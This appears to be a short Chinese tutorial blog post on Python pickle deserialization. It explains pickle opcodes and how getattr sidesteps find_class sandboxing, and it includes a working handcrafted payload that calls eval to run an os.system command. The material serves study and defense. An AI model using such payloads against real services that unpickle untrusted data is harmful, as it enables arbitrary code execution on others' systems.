python反序列化的一些介紹

基礎介紹

c:引入模塊和對象,模塊名和對象名以換行符分割。(find_class校驗就在這一步,也就是說,只要c這個OPCODE的參數沒有被find_class限制,其他地方獲取的對象就不會被沙盒影響了,這也是我爲什麼要用getattr來獲取對象)
(:壓入一個標誌到棧中,表示元組的開始位置
t:從棧頂開始,找到最上面的一個(,並將(到t中間的內容全部彈出,組成一個元組,再把這個元組壓入棧中
R:從棧頂彈出一個可執行對象和一個元組,元組作爲函數的參數列表執行,並將返回值壓入棧上
p:將棧頂的元素存儲到memo中,p後面跟一個數字,就是表示這個元素在memo中的索引
V、S:向棧頂壓入一個(unicode)字符串
.:表示整個程序結束

示例介紹

data = b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("dir")'
tR.
"""
data = pickle.loads(data)

print(data)

對應的執行的內容爲:
在這裏插入圖片描述

參考鏈接

從零開始python反序列化攻擊:pickle原理解析 & 不用reduce的RCE姿勢
Python Pickle的任意代碼執行漏洞實踐和Payload構造(勾陳實驗室)
P神
Python反序列化漏洞的花式利用

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章